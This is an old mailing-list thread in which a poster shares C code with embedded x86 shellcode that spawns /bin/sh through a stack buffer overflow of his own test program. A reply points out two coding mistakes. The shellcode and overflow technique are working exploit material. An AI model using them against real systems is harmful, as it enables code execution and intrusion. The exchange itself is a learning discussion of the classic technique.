Re: buffer overflow

[Varun Chandramohan <varunc@linux.vnet.ibm.com>]

vincent-perrier wrote:
> This is bad:
> memset(&buffer,0,sizeof(buffer));
> buffer is already the address of the space:
> memset(buffer,0,...); is what I would do
>
>   
fine.
> This is bad too:
> for (i = 0; i < 32; i++)
>    *(long_ptr + i) =  (long)&buffer;
>
> and most certainly does not do what you want.
>
>   
can you suggest something better to achieve this?
> On Tue, 2008-03-11 at 11:38 +0530, Varun Chandramohan wrote:
>   
>> Hi all,
>>
>>              Can someone tell me whats is wrong with this program? All i
>> get is seg fault. Iam trying to create a stack overflow and exec a
>> shell. Somehow its not working. The system is x86 on linux.
>> gcc (GCC) 4.1.1 20070105 (Red Hat 4.1.1-52)
>> Copyright (C) 2006 Free Software Foundation, Inc.
>> This is free software; see the source for copying conditions.  There is NO
>> warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
>>
>>
>>
>> The Code:
>> #include <stdio.h>
>> #include <string.h>
>>
>> char shellcode[] =
>>         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
>>         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
>>         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
>> #if 0
>> char shellcode[] =
>>         "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
>>         "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
>>         "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
>>         "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
>>
>> #endif
>>
>> char large_string[128];
>> int main() {
>>   char buffer[96];
>>   int i;
>>   long *long_ptr = (long *) large_string;
>>   memset(&buffer,0,sizeof(buffer));
>>
>>   for (i = 0; i < 32; i++)
>>     *(long_ptr + i) =  (long)&buffer;
>>
>>   for (i = 0; i < strlen(shellcode); i++)
>>     large_string[i] = shellcode[i];
>>
>>   strcpy(buffer,large_string);
>> }
>>
>> --
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>> &#0;
>>
>>     
>
>